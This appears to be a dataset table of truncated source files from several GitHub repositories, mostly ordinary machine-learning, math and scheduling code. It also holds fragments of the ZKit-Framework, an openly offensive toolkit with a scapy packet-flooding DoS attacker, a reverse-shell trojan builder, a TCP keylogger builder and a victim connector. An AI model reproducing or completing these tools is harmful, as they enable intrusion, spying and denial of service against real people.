index int64 | repo_name string | branch_name string | path string | content string | import_graph string |
|---|---|---|---|---|---|
27,799 | OpenElement-GachaBot/OpenElement | refs/heads/main | /ark.py | import time
import pyautogui
import screen
import cv2
import numpy as np
inventory_template = cv2.imread("templates/inventory_template.png", cv2.IMREAD_GRAYSCALE)
inventory_template = cv2.Canny(inventory_template, 100, 200)
img = cv2.imread("templates/bed_button_corner.png", cv2.IMREAD_GRAYSCALE)
bed_button_edge = cv... | {"/gacha.py": ["/ark.py"]} |
27,805 | pnsn/squacapipy-old | refs/heads/master | /test/test_squacapi.py | from squacapipy.squacapi import Response, Network, Channel
from unittest.mock import patch
'''to run
$:pytest --verbose -s test/test_squacapi.py && flake8
or
pytest && flake8
'''
'''Tests are really just testing class instantiaion since the response
object is mocked.
'''
@patch.object(Network, 'get'... | {"/test/test_squacapi.py": ["/squacapipy/squacapi.py"], "/squacapipy/squacapi.py": ["/squacapipy/errors.py"]} |
27,806 | pnsn/squacapipy-old | refs/heads/master | /squacapipy/errors.py | '''error classes '''
class APITokenMissingError(Exception):
'''raise error on missing key'''
pass
class APIBaseUrlError(Exception):
'''raise error on base url param'''
pass
| {"/test/test_squacapi.py": ["/squacapipy/squacapi.py"], "/squacapipy/squacapi.py": ["/squacapipy/errors.py"]} |
27,807 | pnsn/squacapipy-old | refs/heads/master | /squacapipy/squacapi.py | import requests
import os
import json
from squacapipy.errors import APITokenMissingError, APIBaseUrlError
from datetime import datetime
API_TOKEN = os.getenv('SQUAC_API_TOKEN')
API_BASE_URL = os.getenv('SQUAC_API_BASE')
if API_TOKEN is None:
raise APITokenMissingError(
"All methods require an API key"
... | {"/test/test_squacapi.py": ["/squacapipy/squacapi.py"], "/squacapipy/squacapi.py": ["/squacapipy/errors.py"]} |
27,811 | Alaqian/chexpert_old | refs/heads/master | /trainCnn.py | # -*- coding: utf-8 -*-
"""
Created on Sat Jul 20 21:16:02 2019
@author: Mirac
"""
def train_cnn(PATH_TO_MAIN_FOLDER, LR, WEIGHT_DECAY, UNCERTAINTY="zeros", USE_MODEL=0):
"""
Train a model with chexpert data using the given hyperparameters
Args:
PATH_TO_MAIN_FOLDER: path where the ext... | {"/camUtils.py": ["/chexpertDataset.py"]} |
27,812 | Alaqian/chexpert_old | refs/heads/master | /chexpertDataset.py | # -*- coding: utf-8 -*-
"""
Created on Sat Jul 20 21:10:18 2019
@author: Mirac
"""
import pandas as pd
import numpy as np
from torch.utils.data import Dataset
import os
from PIL import Image
from sklearn.model_selection import train_test_split
class CheXpertDataset(Dataset):
"""
Dataset cla... | {"/camUtils.py": ["/chexpertDataset.py"]} |
27,813 | Alaqian/chexpert_old | refs/heads/master | /lossFunctions.py | # -*- coding: utf-8 -*-
"""
Created on Sat Jul 20 21:15:28 2019
@author: Mirac
"""
import torch
class BCEwithIgnore(torch.nn.Module):
def _init_(self):
super(BCEwithIgnore, self)._init_()
def forward(self, score, y):
zeros = torch.zeros_like(y)
ones = torch.ones_l... | {"/camUtils.py": ["/chexpertDataset.py"]} |
27,814 | Alaqian/chexpert_old | refs/heads/master | /makePredictions.py | # -*- coding: utf-8 -*-
"""
Created on Sat Jul 20 21:16:51 2019
@author: Mirac
"""
import torch
import pandas as pd
from torchvision import transforms, utils
from torch.utils.data import Dataset, DataLoader
from torchvision import transforms, utils
import sklearn
import sklearn.metrics as sklm
from to... | {"/camUtils.py": ["/chexpertDataset.py"]} |
27,815 | Alaqian/chexpert_old | refs/heads/master | /camUtils.py | # -*- coding: utf-8 -*-
"""
Created on Sat Jul 20 21:17:34 2019
@author: Mirac
"""
import torch
import torch.nn as nn
import torch.nn.functional as F
from torchvision import transforms
from chexpertDataset import CheXpertDataset
### CLASS ACTIVATION ####
class HookModel(nn.Module):
def __init__(self... | {"/camUtils.py": ["/chexpertDataset.py"]} |
27,816 | Complicateddd/R-DFDN | refs/heads/master | /gen_color_mnist.py | import torchvision
import torch
import numpy as np
import torchvision.transforms as transforms
import tqdm
from torch.autograd import Variable
import argparse
import os
data_path = 'datasets/'
parser = argparse.ArgumentParser(description='Generate colored MNIST')
# Hyperparams
parser.add_argument('--cpr', nargs='+'... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,817 | Complicateddd/R-DFDN | refs/heads/master | /eval.py |
from argparse import Namespace
import argparse
import numpy as np
import os
import torch
import torch.nn as nn
from torch.autograd import Variable
import tqdm
from data import get_dataset
parser = argparse.ArgumentParser(description='Predicting with high correlation features')
# Directories
parser.add_argument('--... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,818 | Complicateddd/R-DFDN | refs/heads/master | /resnet_base.py |
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
class resblock(nn.Module):
def __init__(self, depth, channels, stride=1, bn='', nresblocks=1.,affine=True, kernel_size=3, bias=True):
self.depth = depth
self. channels = channels
... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,819 | Complicateddd/R-DFDN | refs/heads/master | /existing_methods.py |
from argparse import Namespace
import sys
import argparse
import math
import numpy as np
import os
import torch
import torch.nn as nn
from torch.autograd import Variable
from torch import autograd
import pickle as pkl
from models import ResNet_model, CNN
import torch.nn.functional as F
import glob
import tqdm
import t... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,820 | Complicateddd/R-DFDN | refs/heads/master | /train_RDFDN.py | from RDFDN import R_DFDN, Loss
from argparse import Namespace
import sys
import argparse
import math
import numpy as np
import os
import torch
import torch.nn as nn
from torch.autograd import Variable
from torch import autograd
import pickle as pkl
import torch.nn.functional as F
from utils import correlation_reg
impor... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,821 | Complicateddd/R-DFDN | refs/heads/master | /data.py | from argparse import Namespace
import argparse
import numpy as np
import os
import torch
import torch.nn as nn
import torch.nn.functional as F
import torchvision
import torchvision.transforms as transforms
from utils import _split_train_val
import torchvision.datasets as datasets
import torch.utils.data as utils
import... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,822 | Complicateddd/R-DFDN | refs/heads/master | /FALoss.py | import torch
import torch.nn as nn
class FALoss(nn.Module):
def __init__(self):
super(FALoss,self).__init__()
def get_sim(self,fea):
b,c,h,w = fea.shape
fea = fea.view(b,c,-1)
fea = fea.permute((0,2,1))
fea_norm = torch.norm(fea,p=2,dim=2)
... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,823 | Complicateddd/R-DFDN | refs/heads/master | /utils.py |
import torch.nn as nn
import torch.nn.init as init
import torch
from torch.autograd import Variable
import numpy as np
import torch.autograd as autograd
import torch.nn.functional as F
from torch.nn.parameter import Parameter
from torch.nn.init import zeros_, ones_
import tqdm
class AttackPGD(nn.Module):
def __in... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,824 | Complicateddd/R-DFDN | refs/heads/master | /endecoder.py | import torch.nn as nn
import torch
class decoder(nn.Module):
def __init__(self):
super(decoder, self).__init__()
self.fc = nn.Sequential(
nn.Linear(100,588),
nn.ReLU(True)
)
self.up=nn.Sequential(
nn.Conv2d(3,16,kernel_size=3,stride=1,padding=1),
... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,825 | Complicateddd/R-DFDN | refs/heads/master | /RDFDN.py | from utils import correlation_reg
from resnet_base import ResNet, MLPLayer
import torch
import torch.nn as nn
from FALoss import FALoss, DiffLoss
from endecoder import decoder
class R_DFDN(nn.Module):
def __init__(self, ):
super(R_DFDN, self).__init__()
self.inv_encoder = ResNet(depth=56, nb_filter... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,826 | Complicateddd/R-DFDN | refs/heads/master | /models.py |
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
ACT = F.relu
class MLPLayer(nn.Module):
def __init__(self, dim_in=None, dim_out=None, bn=False, act=True, dropout=0., bias=True):
super(MLPLayer, self).__init__()
self.act=act
layer = [nn.Linear(dim_in... | {"/eval.py": ["/data.py"], "/existing_methods.py": ["/models.py", "/data.py", "/utils.py"], "/train_RDFDN.py": ["/RDFDN.py", "/utils.py", "/data.py"], "/data.py": ["/utils.py"], "/RDFDN.py": ["/utils.py", "/resnet_base.py", "/FALoss.py", "/endecoder.py"]} |
27,852 | malikobeidin/ribbon_graph | refs/heads/master | /ribbon_graph_base.py | from sage.all import PermutationGroup
from permutation import Permutation, Bijection, random_permutation
from cycle import Path, EmbeddedPath, EmbeddedCycle
from spherogram.links.random_links import map_to_link, random_map
from random import choice
import itertools
class RibbonGraph(object):
"""
A RibbonGraph ... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,853 | malikobeidin/ribbon_graph | refs/heads/master | /maps.py | from permutation import Bijection, Permutation, permutation_from_bijections
from ribbon_graph import RibbonGraph
import spherogram
class MapVertex(object):
def __init__(self, label, num_slots):
self.label = label
self.next = Permutation(cycles = [[(self.label,i) for i in range(num_slots)]])
... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,854 | malikobeidin/ribbon_graph | refs/heads/master | /draw.py | import matplotlib.pyplot as plt
import numpy as np
from cycle import EmbeddedCycle
from decompositions import CycleTree
def draw_with_plink(ribbon_graph):
pass
class Immersion(object):
"""
"""
def __init__(self, ribbon_graph, head, tail):
self.ribbon_graph = ribbon_graph
self.head = h... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,855 | malikobeidin/ribbon_graph | refs/heads/master | /local_moves.py |
def add_vertex_on_edge(ribbon_graph, label, new_label_op, new_label_next_corner):
"""
Add a new valence 2 vertex on the edge given by label.
"""
op_label = ribbon_graph.opposite[label]
cut_edge(ribbon_graph, label)
ribbon_graph.next.add_cycle([new_label1, new_label2])
ribbon_graph.oppo... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,856 | malikobeidin/ribbon_graph | refs/heads/master | /decompositions.py | import itertools
from random import choice
from cycle import EmbeddedPath, EmbeddedCycle
class PolygonWithDiagonals(object):
"""
Numbered clockwise around the boundary, i.e. with the
exterior face to the left side
"""
def __init__(self, label, boundary_length, diagonals):
self.label = label... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,857 | malikobeidin/ribbon_graph | refs/heads/master | /setup.py | long_description = """\
This is a package for manipulating ribbon graphs
"""
import re, sys, subprocess, os, shutil, glob, sysconfig
from setuptools import setup, Command
from setuptools.command.build_py import build_py
# Get version number from module
version = re.search("__version__ = '(.*)'",
... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,858 | malikobeidin/ribbon_graph | refs/heads/master | /__init__.py | __version__ = '1.0'
def version():
return __version__
from ribbon_graph_base import RibbonGraph, random_link_shadow
from cycle import Path, EmbeddedPath, EmbeddedCycle
from maps import StrandDiagram, Link
from permutation import Bijection, Permutation
from trees import MountainRange, RootedPlaneTree
from decompo... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,859 | malikobeidin/ribbon_graph | refs/heads/master | /cycle.py | import itertools
from local_moves import *
class Path(object):
def __init__(self, ribbon_graph, start_label, labels = [], turn_degrees = []):
self.ribbon_graph = ribbon_graph
self.start_label = start_label
if labels:
if labels[0] != start_label:
raise E... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,860 | malikobeidin/ribbon_graph | refs/heads/master | /trees.py | from ribbon_graph_base import RibbonGraph
from permutation import Permutation
from random import shuffle
class MountainRange(object):
def __init__(self, steps = []):
s = 0
for step in steps:
assert step in [-1,1]
s += step
assert s >= 0
assert s == 0
... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,861 | malikobeidin/ribbon_graph | refs/heads/master | /permutation.py | #from sage.all import Permutation as SagePermutation
from random import shuffle
class Bijection(dict):
def __init__(self, dictionary={}, verify=True):
self.domain = set()
self.codomain = set()
for label in dictionary:
self[label] = dictionary[label]
if verify:
... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,862 | malikobeidin/ribbon_graph | refs/heads/master | /three_manifold.py | from permutation import Permutation, Bijection
from ribbon_graph_base import *
from cycle import *
from local_moves import contract_edge
class Triangulation(object):
def __init__(self, tetrahedra_ribbon_graph, glued_to, check_consistency = True):
"""
Specify a triangulation of a 3-manifold with:
... | {"/ribbon_graph_base.py": ["/permutation.py", "/cycle.py"], "/maps.py": ["/permutation.py"], "/draw.py": ["/cycle.py", "/decompositions.py"], "/decompositions.py": ["/cycle.py"], "/__init__.py": ["/ribbon_graph_base.py", "/cycle.py", "/maps.py", "/permutation.py", "/trees.py", "/decompositions.py"], "/cycle.py": ["/loc... |
27,882 | lbh3110/ZKit-Framework | refs/heads/master | /ZKit_Core/Dos_Attackers/SM.py | def Run(*self, Source_IP, Victim_IP, Source_Port, Victim_Ports, Count, Message):
from scapy.all import sendp as Send, TCP as tcp, IP as ip
from time import sleep as Sleep
from sys import exit as Exit
print("This Operation Needs Administrator Permission")
print("Running UAC")
Victim_Ports =... | {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,883 | lbh3110/ZKit-Framework | refs/heads/master | /ZKit_Core/Dos_Attackers/SS.py | def Run(*self, Source_IP, Victim_IP, Source_Port, Victim_Port, Count, Message):
print("Scapy Needs Administrator Permission")
from scapy.all import sendp as Send
from scapy.all import IP as ip, TCP as tcp
import scapy.all
from time import sleep as Sleep
from sys import exit as Exit
i ... | {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,884 | lbh3110/ZKit-Framework | refs/heads/master | /ZKit_Core/KeyLoggers/TCP.py | import colorama
import socket
def Create(*self, Host, Port, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, PATH):
from time import sleep as Sleep
Red, Blue, Green, Reset = colorama.Fore.LIGHTRED_EX, colorama.Fore.LIGHTBLUE_EX, colorama.Fore.LIGHTGREEN_EX, colorama.Fore.RESET
print(... | {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,885 | lbh3110/ZKit-Framework | refs/heads/master | /ZKit_Core/Trojans/UDP_Connect.py | import socket
from colorama import Fore
def Connect(self):
Connection = socket.socket(socket.AF_INET , socket.SOCK_DGRAM)
print("[" + Fore.LIGHTBLUE_EX + '+' + "] Making Connection")
try:
Victim, Address = Connection.accept()
os = Victim.recv(1024).decode('UT... | {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,886 | lbh3110/ZKit-Framework | refs/heads/master | /ZKit_Core/Trojans/Reverse_Shell_TCP.py | import colorama
import socket
from base64 import b85encode , b85decode
def Create(*self, Host, Port, str1, str2, str3, str4, PATH):
"""Creates Reverse_Shell Trojan With Parameters"""
from time import sleep as Sleep
Red, Blue, Green, Reset = colorama.Fore.LIGHTRED_EX, colorama.Fore.LIGHTBLUE_EX, color... | {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,887 | lbh3110/ZKit-Framework | refs/heads/master | /zkit.py | 'ZKit-Framework Github : https://github.com/000Zer000/ZKit-Framework'
from sys import platform
__all__ = ["why_do_you_want_to_import_this"]
def why_do_you_want_to_import_this():
'Why do you want to import this'
return "Why_Do_You_Want_To_Import_This"
__author__ = 'Zer0'
# Created A New Header
... | {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,888 | lbh3110/ZKit-Framework | refs/heads/master | /ZKit_Core/Trojans/__init__.py | 'Sth'
| {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,889 | lbh3110/ZKit-Framework | refs/heads/master | /ZKit_Core/Main_Process.py | import random
import string
def random_string(*size):
size = random.randint(2, 9)
chars = string.ascii_lowercase + string.ascii_uppercase
return ''.join(random.choice(chars) for _ in range(size))
def random_int(size, max, min):
ints = string.digits
while True:
random_int = '... | {"/zkit.py": ["/ZKit_Core/Trojans/Reverse_Shell_TCP.py", "/ZKit_Core/Dos_Attackers/SS.py", "/ZKit_Core/KeyLoggers/TCP.py", "/ZKit_Core/Trojans/UDP_Connect.py"]} |
27,892 | INFINIT-PLUS-GIT/ccs-server | refs/heads/master | /modelos.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (C) Lisoft & AV Electronics - All Rights Reserved
# Unauthorized copying of this file, via any medium is strictly prohibited
# Proprietary and confidential
# Written by Rodrigo Tufiño <rtufino@lisoft.net>, December 2019
"""
Módulo con los modelos y adm... | {"/app.py": ["/modelos.py"]} |
27,893 | INFINIT-PLUS-GIT/ccs-server | refs/heads/master | /app.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (C) Lisoft & AV Electronics - All Rights Reserved
# Unauthorized copying of this file, via any medium is strictly prohibited
# Proprietary and confidential
# Written by Rodrigo Tufiño <rtufino@lisoft.net>, December 2019
"""
ccs-server.app
~~~~~~~~~... | {"/app.py": ["/modelos.py"]} |
27,902 | slcdiallo/pythonClass | refs/heads/main | /Lesson2.py | # Lesson 2: If Statements
from Mod2 import guiInput, guiOutput
s=guiInput("Enter three real numbers").split()
x = float(s[0])
y = float(s[1])
z = float(s[2])
if x>0 and y>0 and z>0:
guiOutput("Sum:%1.2f" % (x+y+z));
elif x<0 and y>0 and z>0:
guiOutput("Prod:%1.2f" % (y*z));
elif x>0 and y<0... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,903 | slcdiallo/pythonClass | refs/heads/main | /exampleLesson4.py | ##### MODULE OS
# open(filename, mode) "r" is for reading, "w" for writing
# with block guarantees file is closed
# open expects file to be in cwd, otherwise you need to specify path
#with open("exdata.txt","r") as infile:
#s = infile.read() # reads the entire file as 1 string #with "with" dont need to close
#wit... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,904 | slcdiallo/pythonClass | refs/heads/main | /Al.py | print('Enter a number')
y=input()
usernum=int(y)
print('Enter x')
w=input()
x=int(w)
n1 = int(usernum/x)
n2 = int(n1/x)
n3 = int(n2/x)
print(n1, n2, n3)
| {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,905 | slcdiallo/pythonClass | refs/heads/main | /Lesson4.py | #Assignment 4
#Author: Saliou Diallo
#Program 4 - Simple Ascii Drawing
#For this program, ask the user to enter an integer.
#The program will then draw a shapebased on the integer:
#a vertical line for 4-9, an L for 10-15,
#a horizontal line for 16-20 otherwise it says invalid input.
#The program will continue... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,906 | slcdiallo/pythonClass | refs/heads/main | /MyCodeL3.py | #For this program you will ask the user to enter the name of a text file.
#Each line in the file will contain two numbers, the first number is the price
#of each widget and the second line is the number of widgets in the order.
#For each line, print the number of items and the total price for the order (widgets*price).... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,907 | slcdiallo/pythonClass | refs/heads/main | /Mod2.py | import tkinter as tk
import tkinter.font as Font
# Program 2
def center(widget,relx,rely):
""" places top-level window on display relative to relx,rely """
widget.withdraw() # Remain invisible while we fig+ure out the geometry
widget.update_idletasks() # Actualize geometry information
m_width... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,908 | slcdiallo/pythonClass | refs/heads/main | /Lesson3.py | #Assignment 3
#Author: Saliou Diallo
#For this program you will ask the user to enter the name of a text file. Each line in the file will
#contain two numbers, the first number is the price of each widget and the second line is the number
#of widgets in the order. For each line, print the number of items and the total... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,909 | slcdiallo/pythonClass | refs/heads/main | /testLesson3.py | import os
infile = open("data3.txt","r")
# let's set the variables that we're going to use
sum = 0.0
len = 0
hi = 0
low = 0
# let's process the file
for s in infile:
s1 = s.split()
x = float(s1[0])
y = float(s1[1])
print ("Number of items: %5d Total price for the order: %10.2f" % (y,x*y))
sum += x*y
... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,910 | slcdiallo/pythonClass | refs/heads/main | /Lesson1.py | #Saliou Diallo
#Write a module that first asks the user to enter 2 integers and then print the sum, difference,
#product, quotient, integer quotient, and modulus of the 2 numbers. Then ask the user to enter 2 real
#numbers. Print the sum, difference, product, quotient, integer quotient, and modulus using the %
#operato... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,911 | slcdiallo/pythonClass | refs/heads/main | /exampleLesson3.py | from Mod2 import guiInput,guiOutput
#import os # os stand for operating system
#print(__file__) # complete path of the file being executed in the shell
#print(os.getcwd()) # cwd current working directory: The folder where the shell is running the program
#import os
#infile = op... | {"/Lesson2.py": ["/Mod2.py"], "/exampleLesson3.py": ["/Mod2.py"]} |
27,947 | lresende/enterprise_scheduler | refs/heads/master | /tests/__init__.py | # -*- coding: utf-8 -*-
"""Unit test package for enterprise_scheduler."""
| {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,948 | lresende/enterprise_scheduler | refs/heads/master | /enterprise_scheduler/util.py | # -*- coding: utf-8 -*-
#
# Copyright 2018-2019 Luciano Resende
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,949 | lresende/enterprise_scheduler | refs/heads/master | /enterprise_scheduler/resources/ffdl/run_notebook.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2018-2019 Luciano Resende
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,950 | lresende/enterprise_scheduler | refs/heads/master | /enterprise_scheduler/executor.py | # -*- coding: utf-8 -*-
#
# Copyright 2018-2019 Luciano Resende
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | {"/enterprise_scheduler/executor.py": ["/enterprise_scheduler/util.py"], "/tests/test_scheduler.py": ["/enterprise_scheduler/scheduler.py", "/enterprise_scheduler/util.py"], "/enterprise_scheduler/scheduler_resource.py": ["/enterprise_scheduler/scheduler.py"], "/enterprise_scheduler/scheduler_application.py": ["/enterp... |
27,951 | lresende/enterprise_scheduler | refs/heads/master | /setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""The setup script."""
from setuptools import setup, find_packages
with open('README.rst') as readme_file:
readme = readme_file.read()
requirements = [
